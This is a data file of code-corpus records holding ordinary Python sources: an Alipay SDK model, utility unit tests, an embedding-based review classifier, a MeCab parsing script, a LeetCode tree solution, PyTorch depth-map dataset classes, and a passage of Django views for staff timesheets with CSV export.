self.client_secret.to_alipay_dict()\n else:\n params['client_secret'] = self.client_secret\n if self.eprint_token:\n if hasattr(self.eprint_token, 'to_alipay_dict'):\n params['eprint_token'] = self.eprint_token.to_alipay_dict()\n else:\n params['eprint_token'] = self.eprint_token\n if self.machine_code:\n if hasattr(self.machine_code, 'to_alipay_dict'):\n params['machine_code'] = self.machine_code.to_alipay_dict()\n else:\n params['machine_code'] = self.machine_code\n return params\n\n @staticmethod\n def from_alipay_dict(d):\n if not d:\n return None\n o = AlipayEcoPrinterStatusQueryModel()\n if 'client_id' in d:\n o.client_id = d['client_id']\n if 'client_secret' in d:\n o.client_secret = d['client_secret']\n if 'eprint_token' in d:\n o.eprint_token = d['eprint_token']\n if 'machine_code' in d:\n o.machine_code = d['machine_code']\n return o\n\n\n","sub_path":"alipay/aop/api/domain/AlipayEcoPrinterStatusQueryModel.py","file_name":"AlipayEcoPrinterStatusQueryModel.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"647395425","text":"import unittest\nfrom functools import partial\n\nimport numpy as np\n\nfrom dpipe.layers import identity\nfrom dpipe.medim.preprocessing import pad, min_max_scale, normalize\nfrom dpipe.medim.utils import filter_mask, apply_along_axes\nfrom dpipe.medim.itertools import zip_equal, flatten, extract, negate_indices, head_tail, peek\n\n\nclass TestPad(unittest.TestCase):\n def test_pad(self):\n x = np.arange(12).reshape((3, 2, 2))\n padding = np.array(((0, 0), (1, 2), (2, 1)))\n padding_values = np.min(x, axis=(1, 2), keepdims=True)\n\n y = pad(x, padding, padding_values=padding_values)\n np.testing.assert_array_equal(y, np.array([\n [\n [0, 0, 0, 0, 0],\n [0, 0, 0, 1, 0],\n [0, 0, 2, 3, 0],\n [0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0],\n ],\n [\n [4, 4, 4, 4, 4],\n [4, 4, 4, 5, 4],\n [4, 4, 6, 7, 4],\n [4, 4, 4, 4, 4],\n [4, 4, 4, 4, 4],\n ],\n [\n [8, 8, 8, 8, 8],\n [8, 8, 8, 9, 8],\n [8, 8, 10, 11, 8],\n [8, 8, 8, 8, 8],\n [8, 8, 8, 8, 8],\n ],\n ]))\n\n\nclass TestItertools(unittest.TestCase):\n @staticmethod\n def get_map(size):\n return TestItertools.make_iterable(range(size))\n\n @staticmethod\n def make_iterable(it):\n return map(lambda x: x, it)\n\n def test_zip_equal_raises(self):\n for args in [[range(5), range(6)], [self.get_map(5), self.get_map(6)], [range(7), self.get_map(6)],\n [self.get_map(6), range(5)], [self.get_map(6), range(5), range(7)]]:\n with self.subTest(args=args), self.assertRaises(ValueError):\n list(zip_equal(*args))\n\n def test_zip_equal(self):\n for args in [[range(5), range(5)], [self.get_map(5), self.get_map(5)],\n [range(5), self.get_map(5)], [self.get_map(5), range(5)]]:\n with self.subTest(args=args):\n self.assertEqual(len(list(zip_equal(*args))), 5)\n\n for args in [[], [range(5)], [range(5), range(5)], [range(5), range(5), range(5)]]:\n with self.subTest(args=args):\n self.assertListEqual(list(zip_equal(*args)), list(zip(*args)))\n\n def test_flatten(self):\n self.assertListEqual(flatten([1, [2, 3], [[4]]]), [1, 2, 3, 4])\n self.assertListEqual(flatten([1, (2, 3), [[4]]]), [1, (2, 3), 4])\n self.assertListEqual(flatten([1, (2, 3), [[4]]], iterable_types=(list, tuple)), [1, 2, 3, 4])\n self.assertListEqual(flatten(1, iterable_types=list), [1])\n\n def test_extract(self):\n idx = [2, 5, 3, 9, 0]\n self.assertListEqual(extract(range(15), idx), idx)\n\n def test_filter_mask(self):\n # TODO: def randomized_test\n mask = np.random.randint(2, size=15, dtype=bool)\n values, = np.where(mask)\n np.testing.assert_array_equal(list(filter_mask(range(15), mask)), values)\n\n def test_negate_indices(self):\n idx = [2, 5, 3, 9, 0]\n other = [1, 4, 6, 7, 8, 10, 11, 12]\n np.testing.assert_array_equal(negate_indices(idx, 13), other)\n\n def test_head_tail(self):\n for size in range(1, 20):\n it = np.random.randint(1000, size=size).tolist()\n head, tail = head_tail(self.make_iterable(it))\n self.assertEqual(head, it[0])\n self.assertListEqual(list(tail), it[1:])\n\n def test_peek(self):\n for size in range(1, 20):\n it = np.random.randint(1000, size=size).tolist()\n head, new_it = peek(self.make_iterable(it))\n self.assertEqual(head, it[0])\n self.assertListEqual(list(new_it), it)\n\n\nclass TestApplyAlongAxes(unittest.TestCase):\n def test_apply(self):\n x = np.random.rand(3, 10, 10) * 2 + 3\n np.testing.assert_array_almost_equal(\n apply_along_axes(normalize, x, axes=(1, 2), percentiles=20),\n normalize(x, percentiles=20, axes=0)\n )\n\n axes = (0, 2)\n y = apply_along_axes(min_max_scale, x, axes)\n np.testing.assert_array_almost_equal(y.max(axes), 1)\n np.testing.assert_array_almost_equal(y.min(axes), 0)\n\n np.testing.assert_array_almost_equal(apply_along_axes(identity, x, 1), x)\n np.testing.assert_array_almost_equal(apply_along_axes(identity, x, -1), x)\n np.testing.assert_array_almost_equal(apply_along_axes(identity, x, (0, 1)), x)\n np.testing.assert_array_almost_equal(apply_along_axes(identity, x, (0, 2)), x)\n","sub_path":"dpipe/medim/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":4601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"318508662","text":"import os\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\nimport tensorflow\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score\nimport pickle\n\n# Read Data\n\npositive_files_names = os.listdir(\"dataset/train/positive\")\nnegative_files_names = os.listdir(\"dataset/train/negative\")\n\ndocs_list = []\n\nfor file_name in positive_files_names:\n file = open(\"dataset/train/positive/\" + str(file_name), \"r\")\n docs_list.append(file.read())\n\nfor file_name in negative_files_names:\n file = open(\"dataset/train/negative/\" + str(file_name), \"r\")\n docs_list.append(file.read())\n\nlabels_positive = [1] * len(positive_files_names)\nlabels_negative = [0] * len(negative_files_names)\n\nlabels = labels_positive + labels_negative\nlabels = np.array(labels)\n\nMAX_SEQUENCE_LENGTH = 1000\n\ntokenizer = Tokenizer()\ntokenizer.fit_on_texts(docs_list)\nsequences = tokenizer.texts_to_sequences(docs_list)\nword_index = tokenizer.word_index # the dictionary\nprint(word_index)\nprint('Found %s unique tokens.' % len(word_index))\ndocs_words_index = pad_sequences(sequences, maxlen=MAX_SEQUENCE_LENGTH)\nprint('Shape of samples:', docs_words_index.shape)\nprint('Sampele:(the zeros at the begining are for padding text to max length)')\n# print(docs_words_index[2])\n\n\nEMBEDDING_DIM = 100\nprint('Indexing word vectors.')\nembeddings_index = {}\nwith open('glove.6B.100d.txt', encoding=\"utf8\") as f:\n for line in f:\n values = line.split(sep=' ')\n word = values[0]\n coefs = np.asarray(values[1:], dtype='float32')\n embeddings_index[word] = coefs\n# print('Found %s word vectors.' % len(embeddings_index))\n\n\nembedding_matrix = np.zeros((len(word_index) + 1, EMBEDDING_DIM))\nfor word, i in word_index.items():\n embedding_vector = embeddings_index.get(word)\n if embedding_vector is not None:\n embedding_matrix[i] = embedding_vector\n\n# print ('Shape of Embedding Matrix: ',embedding_matrix.shape)\n# print(embedding_matrix)\n\ndocs_words_embeddings = np.zeros((len(docs_list), MAX_SEQUENCE_LENGTH, 100))\n\nfor i in range(len(docs_words_index)):\n for j in range(MAX_SEQUENCE_LENGTH):\n word_index = docs_words_index[i][j]\n docs_words_embeddings[i][j] = embedding_matrix[word_index]\n\ndocs_sentence_embeddings = np.zeros((len(docs_list), 100))\n\nfor i in range(len(docs_words_embeddings)):\n docs_sentence_embeddings[i] = np.sum(docs_words_embeddings[i], axis=0)\n\nprint(docs_sentence_embeddings[-1])\n\nx_train, x_test, y_train, y_test = train_test_split(docs_sentence_embeddings, labels, test_size=0.20, random_state=1)\n\n# # Train model\n#\n#\n# logistic_regression = LogisticRegression()\n# logistic_regression.fit(x_train, y_train)\n#\n# # Save model\n#\n# filename = 'sentence_embedding_sum.sav'\n# pickle.dump(logistic_regression, open(filename, 'wb'))\n#\n#\n# prediction = logistic_regression.predict(x_test)\n# score = accuracy_score(y_test, prediction)\n#\n# print(\"accuracy: \")\n# print(score)\n\n\n# Load model\nfilename = 'sentence_embedding_sum.sav'\n\nloaded_logistic_regression = pickle.load(open(filename, 'rb'))\nprediction = loaded_logistic_regression.predict(x_test)\nscore = accuracy_score(y_test, prediction)\n\nprint(\"accuracy: \")\nprint(score)\n\nprint(loaded_logistic_regression.predict(docs_sentence_embeddings[:10]))\nprint(loaded_logistic_regression.predict(docs_sentence_embeddings[-10:]))\n\n","sub_path":"review classifcation/word embeddings or sentence embeddings/sum of word embeddings/sentence_embedding_sum.py","file_name":"sentence_embedding_sum.py","file_ext":"py","file_size_in_byte":3466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"267895260","text":"#! /usr/bin/env python3\n\nimport MeCab\nraw_filename = 'neko.txt'\nfilename = 'neko.txt.mecab'\n\ndef write_morphological_analysis_result(n = None):\n lines = readlines_from(raw_filename, n)\n result = morphological_analysis(lines)\n with open(filename, 'w') as f:\n for r in result:\n f.write(r)\n\ndef read_morphological_analysis_result(n = None):\n return readlines_from(filename, n)\n\ndef parse_morphological_analysis_result(lines):\n lines_list = split_into_lines_list(lines)\n map_list = []\n for lines_list_elem in lines_list:\n m = make_map_from(lines_list_elem)\n map_list.append(m)\n return map_list\n\ndef split_into_lines_list(lines):\n lines_list = []\n begin = 0\n while begin < len(lines):\n line = split_lines_begin_with(lines, begin)\n lines_list.append(line)\n begin += len(line) + 1\n return lines_list\n\ndef split_lines_begin_with(lines, begin):\n eos = 'EOS'\n index_eos = lines.index(eos, begin)\n return lines[begin : index_eos]\n\ndef make_map_from(lines_list_elem):\n map_list= []\n for l in lines_list_elem:\n elem_list = l.split('\\t')\n surface = elem_list[0]\n base = elem_list[2]\n pos = elem_list[3]\n pos1 = elem_list[4]\n m = dict(surface = surface, base = base, pos = pos, pos1 = pos1)\n map_list.append(m)\n return map_list\n\ndef get_tagger():\n return MeCab.Tagger('-O chasen')\n\ndef morphological_analysis(lines, tagger = None):\n t = tagger\n if t is None:\n t = get_tagger()\n ret = []\n for l in lines:\n ret.append(morphological_analysis_one_line(l, t))\n return ret\n\ndef morphological_analysis_one_line(line, tagger):\n return tagger.parse(line)\n\ndef readlines_from(filename, n = None):\n with open(filename) as f:\n lines = f.readlines()\n if n is None or n > len(lines):\n return list(map(lambda x: rstrip_only_new_line(x), lines))\n else:\n return list(map(lambda x: rstrip_only_new_line(x), lines[ : n]))\n\ndef rstrip_only_new_line(x):\n stripped = x\n while True:\n if len(stripped) <= 0:\n return stripped\n if stripped[-1] == '\\n':\n stripped = stripped[ : -1]\n else:\n break\n return stripped\n\ndef write_map_list(map_list):\n for map_list_elem_for_oneline in map_list:\n write_oneline(map_list_elem_for_oneline)\n\ndef write_oneline(oneline):\n for m in oneline:\n print(m)\n\nif __name__ == '__main__':\n #write_morphological_analysis_result()\n lines = read_morphological_analysis_result()\n map_list = parse_morphological_analysis_result(lines)\n write_map_list(map_list)\n","sub_path":"language_processing_100/python3/sect4/NLP30.py","file_name":"NLP30.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"302438054","text":"\"\"\"\nQ199: medium\nBinary tree right side view.\nStatus: finished :)\n\n20210614\n\nBFS\n\nGiven a binary tree, imagine yourself standing on the right side of it,\nreturn the values of the nodes you can see ordered from top to bottom.\n\nExample:\n\nInput: [1,2,3,null,5,null,4]\nOutput: [1, 3, 4]\nExplanation:\n\n 1 <---\n / \\\n2 3 <---\n \\ \\\n 5 4 <---\n\n\"\"\"\nfrom typing import List\nfrom collections import deque\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Solution:\n def rightSideView(self, root: TreeNode) -> List[int]:\n\n if not root:\n return []\n right_view = []\n from collections import deque\n queue = deque([(root, 0)])\n\n while queue:\n curr, level = queue.popleft()\n if level + 1 > len(right_view):\n right_view.append(curr.val)\n else:\n right_view[level] = curr.val\n\n if curr.left:\n queue.append((curr.left, level+1))\n if curr.right:\n queue.append((curr.right, level+1))\n\n return right_view\n\n\n\n\n\n","sub_path":"Q199-3.py","file_name":"Q199-3.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"268797857","text":"import torch\nimport torchvision\nfrom torch.utils.data import DataLoader, Dataset\nfrom PIL import Image\nimport zipfile\nfrom io import BytesIO\nimport numpy as np\nimport gc\nfrom tqdm import tqdm\n\n'''\n1. This is dataset to read image from ZIP file\n2. reading is done once during ojject creation and store inot RAM. this help to avoid reading during getitem and speedup training time.\n3. as this load all images into RAM, this class is suitable for limited dataset size that fit into RAM\nCreating custom dataset class by inherting torch.utils.data.Dataset and overide following methods:\n1. __len__ : returns the size of the dataset\n2. __getitem__: to support indexing such that dataset[i] can be used to get the sample\n\nreferenced material: https://pytorch.org/tutorials/beginner/data_loading_tutorial.html\n'''\nclass DepthMapDatasetZip(Dataset):\n \"\"\" Depth Map dataset\"\"\"\n def __init__(self, zf_dict, im_files, bg_transform=None, fgbg_transform=None, mask_transform=None, depth_transform=None):\n \"\"\"\n Args:\n zf_dict (dict): zip file resources for all dataset with items names : \"bg\", \"fgbg\", \"mask\" and \"depth\"\n im_files: list of file to be loaded into memory (file name format: fg001_bg001_10.jpg)\n data_transform (callable, optional): optional transform to be applied on bg and fgbg images \n target_transform (callable, optional): optional transform to be applied on mask and depth images. these are ground truth\n\n NOTE: zip file resources shall be open and closed by the user\n \"\"\"\n self.zf_dict = zf_dict\n\n self.bg_transform = bg_transform\n self.fgbg_transform = fgbg_transform\n self.mask_transform = mask_transform\n self.depth_transform = depth_transform\n\n # fgbg, mask and depth retain the same file names\n self.im_files = im_files\n\n '''\n keeping all the data loaded and applied data transformation as well. \n doing so mean data is already ready and __getitem__ fxn will be fast during training \n '''\n self.fgbg_data = self.load_data(zf_dict[\"fgbg\"], self.fgbg_transform, kind=\"fgbg\")\n self.mask_data = self.load_data(zf_dict[\"mask\"], self.mask_transform, kind=\"mask\")\n self.depth_data = self.load_data(zf_dict[\"depth\"], self.depth_transform, kind=\"depth\")\n self.bg_data = self.load_bg_data(zf_dict[\"bg\"], self.bg_transform, kind=\"bg\")\n\n def __len__(self):\n return len(self.im_files)\n\n def __getitem__(self, idx):\n\n if(torch.is_tensor(idx)):\n idx = idx.tolist()\n \n # format fgxxx_bgxxx_xx.jpg\n filename = self.im_files[idx]\n\n # for fgbg, mask and depth all its image data are loaded on same index location\n im_fgbg = self.fgbg_data[idx]\n im_mask = self.mask_data[idx]\n im_depth = self.depth_data[idx]\n \n # load bg data\n bg_idx = np.uint8(filename.split(\"_\")[1][2:]) # get bg num from the file name\n im_bg = self.bg_data[bg_idx-1]\n\n sample = {\"bg\": im_bg, \"fgbg\": im_fgbg, \"mask\": im_mask, \"depth\": im_depth}\n return sample\n\n def read_image_from_zip(self, zf, filename):\n data = zf.read(filename)\n dataEnc = BytesIO(data)\n img = Image.open(dataEnc)\n del data\n del dataEnc\n return img\n\n def load_data(self, zf, transform, kind):\n load_images = []\n pbar = tqdm(self.im_files)\n for file in pbar:\n im = self.read_image_from_zip(zf, file)\n if transform is not None:\n im = transform(im)\n load_images.append(im)\n pbar.set_description(desc= f'Loading {kind} Data: ')\n gc.collect() # free unused memory\n return load_images\n\n '''\n gb have files with names as img_xxx.jpg(001 to 100)\n currently all the 100 bg images ae loaded so that we can directly access bg image throuhg its index number(1-100)\n later we can optimize it to load only relevent number of images..\n right max over head is instead of loading 100 images we are loading 200 (100 each for train and test data set, just to reduce time complexcity)\n '''\n def load_bg_data(self, zf, transform, kind):\n load_images = []\n pbar = tqdm(np.arange(1,101))\n for idx in pbar:\n filename = f'img_{idx:03d}.jpg'\n im = self.read_image_from_zip(zf, filename)\n if transform is not None:\n im = transform(im)\n load_images.append(im)\n pbar.set_description(desc= f'Loading {kind} Data: ')\n return load_images\n\n def get_count(self):\n ds_cnt = {\"bg\": len(self.bg_data), \n \"fg_bg\": len(self.fgbg_data),\n \"fg_bg_mask\": len(self.mask_data),\n \"fg_bg_depth\": len(self.depth_data)}\n return ds_cnt\n\n'''\n1. Dataset to read images from folder\n2. this will slow the training as every time getitem is called image is read from file system\n3. as all images are not loaded at once in RAM, so suitable to training large dataset\n\nCreating custom dataset class by inherting torch.utils.data.Dataset and overide following methods:\n1. __len__ : returns the size of the dataset\n2. __getitem__: to support indexing such that dataset[i] can be used to get the sample\n\nreferenced material: https://pytorch.org/tutorials/beginner/data_loading_tutorial.html\n'''\nclass DepthMapDatasetFolder(Dataset):\n \"\"\" Depth Map dataset\"\"\"\n def __init__(self, ds_folder_dict, im_files, bg_transform=None, fgbg_transform=None, mask_transform=None, depth_transform=None):\n \"\"\"\n Args:\n img_folders (dict): items names : \"bg\", \"fgbg\", \"mask\" and \"depth\"\n im_files: image filename list for the dataset(file name format: fg001_bg001_10.jpg)\n xxxx_transform (callable, optional): optional transform to be applied on respective image kind \n \"\"\"\n self.ds_folder_dict = ds_folder_dict\n\n self.bg_transform = bg_transform\n self.fgbg_transform = fgbg_transform\n self.mask_transform = mask_transform\n self.depth_transform = depth_transform\n\n #fgbg, mask and depth retain the same file names. bg file name to be retrieve from this image file name\n self.im_files = im_files \n\n def __len__(self):\n return len(self.im_files)\n\n def __getitem__(self, idx):\n\n if(torch.is_tensor(idx)):\n idx = idx.tolist()\n\n im_fgbg = self.load_data(f'{self.ds_folder_dict[\"fgbg\"]}/{self.im_files[idx]}', self.fgbg_transform)\n im_mask = self.load_data(f'{self.ds_folder_dict[\"mask\"]}/{self.im_files[idx]}', self.mask_transform)\n im_depth = self.load_data(f'{self.ds_folder_dict[\"depth\"]}/{self.im_files[idx]}', self.depth_transform)\n \n # load bg data: read gb num from : format fgxxx_bgxxx_xx.jpg\n #bg_num = np.uint8(self.im_files[idx].split(\"_\")[1][2:]) # get bg num from the file name\n #im_bg = self.load_data(f'{self.ds_folder_dict[\"bg\"]}/img_{bg_num:03d}.jpg', self.depth_transform)\n \n bg_num = self.im_files[idx].split(\"_\")[1][2:] # get bg num from the file name\n im_bg = self.load_data(f'{self.ds_folder_dict[\"bg\"]}/img_{bg_num}.jpg', self.bg_transform)\n\n sample = {\"bg\": im_bg, \"fgbg\": im_fgbg, \"mask\": im_mask, \"depth\": im_depth}\n return sample\n\n def load_data(self, filename, transform):\n im = Image.open(filename)\n if transform is not None:\n im = transform(im)\n return im\n \nclass DepthMapDatasetFxn():\n def __init__(self):\n self.dum = 0\n\n def get_random_filelist(self, im_files):\n idx_list = np.arange(len(im_files))\n np.random.shuffle(idx_list)\n shuffled_im_files = [im_files[idx] for idx in idx_list]\n return shuffled_im_files\n\n def train_test_split(self, im_files, test_size=0.3):\n idx_list = np.arange(len(im_files))\n np.random.shuffle(idx_list)\n shuffle_im_files = [im_files[idx] for idx in idx_list]\n n_train = int(np.round((1-test_size)*len(im_files)))\n return shuffle_im_files[:n_train], shuffle_im_files[n_train:]\n\n def save_img_filenames(self, img_name_list, filename):\n # open file and write the content\n with open(filename, 'w') as filehandle:\n filehandle.writelines([f'{name}\\n' for name in img_name_list])\n\n def read_img_filenames(self, filename):\n img_name_list = []\n # open file and read the content in a list\n with open(filename, 'r') as filehandle:\n filecontents = filehandle.readlines()\n for line in filecontents:\n img_name = line[:-1] # remove linebreak which is the last character of the string\n img_name_list.append(img_name) # add item to the list\n return img_name_list","sub_path":"session15/s15_qualifier/utils/DepthMapDataset.py","file_name":"DepthMapDataset.py","file_ext":"py","file_size_in_byte":9086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"638008916","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom calendar import monthrange\nimport csv\nfrom StringIO import StringIO\nfrom django.http import HttpResponse\nfrom django.utils.encoding import smart_str\nfrom django.http import Http404\nfrom django.utils.translation import ugettext as _\nfrom django.views.generic import View, ListView\nfrom django.contrib.auth.views import login, logout\nfrom django.contrib.auth import logout\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.shortcuts import render\nfrom django.http import HttpResponseRedirect\nfrom django.views.generic import FormView\nfrom models import ListOfStaff, LosTeacher, LosScientist, OperatingScheduleWeekly, WorkTime\nfrom .models import Department, Project # REASON_WORK\nfrom datetime import datetime, date, timedelta, time\nfrom django.db.models import Q\nfrom django.contrib.auth.models import User\nfrom work_registration import start_work, stop_work, cancel_start_work, cancel_stop_work\nfrom django.shortcuts import redirect\nimport pytz\nfrom .forms import TabelDialogForm\nfrom .models import Department, TimeboardPermission\nfrom .tabel import build_tabel_as_tbl, build_actual_time_tabel_as_tbl\n# приклад class view: http://polydoo.com/code/?p=172\n\n\ndef home(request):\n if request.user.is_authenticated():\n user_id = request.user.id\n # cur_date = date.today() # date(2014, 8, 10)\n # cur_time = datetime.now().time()\n # for tz in pytz.all_timezones: print tz\n\n cur_date_time = datetime.now(pytz.timezone('Europe/Kiev'))\n cur_date = cur_date_time.date()\n cur_time = cur_date_time.time()\n\n\n if request.method == 'POST':\n for name in request.POST:\n if name.startswith('start_'):\n los_id = name.split('_')[1]\n start_work(user_id, los_id, cur_date, cur_time)\n return redirect('/home/', permanent=True)\n elif name.startswith('stop_'):\n worktime_id = name.split('_')[1]\n stop_work(user_id, worktime_id, cur_date, cur_time)\n return redirect('/home/', permanent=True)\n elif name.startswith('cancelstop_'):\n worktime_id = name.split('_')[1]\n cancel_stop_work(worktime_id)\n return redirect('/home/', permanent=True)\n elif name.startswith('cancelstart_'):\n worktime_id = name.split('_')[1]\n cancel_start_work(worktime_id)\n return redirect('/home/', permanent=True)\n\n timeboard_lst = read_user_timeboard(user_id, cur_date)\n\n return render(request, 'home.html', {'timeboard': timeboard_lst})\n else:\n return login_user(request)\n\n\ndef worktime(request):\n if request.user.is_authenticated():\n user_id = request.user.id\n\n return render(request, 'worktime.html')\n else:\n return login_user(request)\n\n\nclass TabelDialogView(FormView):\n template_name = 'tabel_dialog.html'\n success_url = '/tabel/'\n form_class = TabelDialogForm\n\n\n def dispatch(self, request, *args, **kwargs):\n if request.user.is_authenticated():\n return super(TabelDialogView, self).dispatch(request, *args, **kwargs)\n else:\n return login_user(request)\n\n def form_valid(self, form):\n tabel_parms = self.extract_tabel_parms(form.cleaned_data)\n url_txt = self.build_tabel_url(tabel_parms)\n return redirect(url_txt)\n\n def extract_tabel_parms(self, form_data):\n # dept_code, is_staffer, year_num, month_num, is_first_half_of_month\n\n dept_code, proj_code = form_data['department'].split(',')\n return {'dept_code': dept_code,\n 'proj_code': proj_code,\n 'is_staffer': form_data['is_staffer'],\n 'year_num': form_data['year_num'],\n 'month_num': form_data['month_num'],\n 'is_first_half_of_month': form_data['is_first_half_of_month'],\n 'user_id': self.request.user.id\n }\n\n def build_tabel_url(self, tabel_parms):\n # dept_code, is_staffer, year_num, month_num, is_first_half_of_month\n user_id = tabel_parms['user_id']\n if self.has_user_permission(user_id):\n url = '/tabel/%(dept_code)s/%(proj_code)s/%(is_staffer)i/%(year_num)i/%(month_num)s' \\\n '/%(is_first_half_of_month)i/0' % tabel_parms\n else:\n url = '/tabel/%(dept_code)s/%(proj_code)s/%(is_staffer)i/%(year_num)i/%(month_num)s' \\\n '/%(is_first_half_of_month)i/%(user_id)s' % tabel_parms\n return url\n\n def has_user_permission(self, user_id):\n rs = TimeboardPermission.objects.filter(user=user_id)\n if rs.count() == 0:\n return False\n else:\n return True\n\n def get_form_kwargs(self):\n \"\"\"\n Returns the keyword arguments for instantiating the form TabelDialogForm.\n \"\"\"\n kwargs = super(TabelDialogView, self).get_form_kwargs()\n user_id = self.request.user.id\n departments = self.get_departments(user_id)\n kwargs['departments'] = departments\n return kwargs\n\n def get_departments(self, user_id):\n rs = Department.objects.raw(\"\"\"\n select D.id,\n D.dept_name,\n PR.id as proj_id,\n PR.project_title,\n P.user_id\n from tb_department D join tb_timeboard_permission P on P.department_id = D.id\n left outer join tb_project PR on PR.department_id = D.id\n where P.user_id = %s\n \"\"\", (user_id,))\n\n # depts = [('%d,%d' % (r.id, r.proj_id if r.proj_id is not None else 0),\n # r.dept_name + ('; ' + r.project_title if r.project_title is not None else ''))\n # for r in rs]\n\n depts = self.get_depts_lst(rs)\n\n if len(depts) == 0:\n rs = Department.objects.raw(\"\"\"\n select D.id, D.dept_name, PR.id as proj_id, PR.project_title, S.user_id\n from tb_department D join tb_list_of_staff S on S.department_id = D.id\n left outer join tb_project PR on PR.department_id = D.id\n where S.user_id = %s\n \"\"\", (user_id,))\n depts = self.get_depts_lst(rs)\n\n return depts\n\n def get_depts_lst(self, rs):\n depts = [('%d,%d' % (r.id, r.proj_id if r.proj_id is not None else 0),\n r.dept_name + ('; ' + r.project_title if r.project_title is not None else ''))\n for r in rs]\n return depts\n\n\nclass WorktimeDialogView(TabelDialogView):\n template_name = 'worktime_dialog.html'\n success_url = '/worktime/'\n\n def build_tabel_url(self, tabel_parms):\n # dept_code, is_staffer, year_num, month_num, is_first_half_of_month\n user_id = tabel_parms['user_id']\n if self.has_user_permission(user_id):\n url = '/worktime/%(dept_code)s/%(proj_code)s/%(is_staffer)i/%(year_num)i/%(month_num)s' \\\n '/%(is_first_half_of_month)i/0' % tabel_parms\n else:\n url = '/worktime/%(dept_code)s/%(proj_code)s/%(is_staffer)i/%(year_num)i/%(month_num)s' \\\n '/%(is_first_half_of_month)i/%(user_id)s' % tabel_parms\n return url\n\n\nclass TabelListView(ListView):\n template_name = 'tabel.html'\n context_object_name = 'tabel_lst'\n\n def post(self, request, *args, **kwargs):\n self.object_list = self.get_queryset()\n allow_empty = self.get_allow_empty()\n\n # if not allow_empty:\n # # When pagination is enabled and object_list is a queryset,\n # # it's better to do a cheap query than to load the unpaginated\n # # queryset in memory.\n # if (self.get_paginate_by(self.object_list) is not None\n # and hasattr(self.object_list, 'exists'))\n # is_empty = not self.object_list.exists()\n # else:\n # is_empty = len(self.object_list) == 0\n # if is_empty:\n # raise Http404(_(\"Empty list and '%(class_name)s.allow_empty' is False.\") % {'class_name': self.__class__.__name__})\n\n context = self.get_context_data()\n\n tabel_name = 'october_tabel'\n\n response = HttpResponse(mimetype='application/ms-excel')\n response['Content-Disposition'] = 'attachment; filename=%s.csv' % tabel_name\n writer = csv.writer(response, csv.excel)\n response.write(u'\\ufeff'.encode('utf8')) # BOM (optional...Excel needs it to open UTF-8 file properly)\n\n writer.writerow(10*[' '] + [smart_str(u\"Табель\")])\n writer.writerow(10*[' '] + [smart_str(context['tabel_date'])])\n writer.writerow(10*[' '] + [smart_str(context['dept_name'])])\n if 'proj_name' in context:\n writer.writerow(10*[' '] + [smart_str(u'б.т. ') + smart_str(context['proj_name'])])\n writer.writerow([])\n writer.writerow([\n smart_str(u'ФІО'),\n smart_str(u'Посада')] +\n context['day_num_lst'] +\n [smart_str(u'Всього'),\n smart_str(u'Годин'),\n smart_str(u'Вихідних'),\n smart_str(u'В'),\n smart_str(u'Н'),\n smart_str(u'НА'),\n smart_str(u'Д'),\n smart_str(u'ДО'),\n smart_str(u'Ч'),\n smart_str(u'ВП'),\n smart_str(u'ДД'),\n smart_str(u'ТН'),\n smart_str(u'НН'),\n smart_str(u'ПР'),\n smart_str(u'ІН'),\n smart_str(u'ВД'),\n smart_str(u'ВБ'),\n ]\n )\n for r in context['tabel_lst']:\n writer.writerow([smart_str(r['fio']), smart_str(r['appoint_name'])] +\n [smart_str(d) for d in r['days_lst']] +\n [\n self.get_ttl_val(r['totals_dic'], 'WORK', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'WORK', 'hours_cnt'),\n self.get_ttl_val(r['totals_dic'], 'WEEKEND', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'V', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'N', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'NA', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'D', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'DO', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'CH', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'VP', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'DD', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'TN', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'NN', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'PR', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'IN', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'VD', 'days_cnt'),\n self.get_ttl_val(r['totals_dic'], 'VB', 'days_cnt'),\n ]\n )\n\n writer.writerow([])\n writer.writerow([smart_str(u'Відпустка чергова В')])\n writer.writerow([smart_str(u'Відпустка учбова Н')])\n writer.writerow([smart_str(u'Відпустка без оплати НА')])\n writer.writerow([smart_str(u'Відпустка додаткова Д')])\n writer.writerow([smart_str(u'Відпустка додаткова працівникам, які мають дітей ДО')])\n writer.writerow([smart_str(u'Відпустка чорнобильська Ч')])\n writer.writerow([smart_str(u'Відпустка по догляду за дитиною до 3 років ВП')])\n writer.writerow([smart_str(u'Відпустка по догляду за дитиною більше 6 років ДД')])\n writer.writerow([smart_str(u'Тимчасова непрацездатність ТН')])\n writer.writerow([smart_str(u'Неоплачена тимчасова 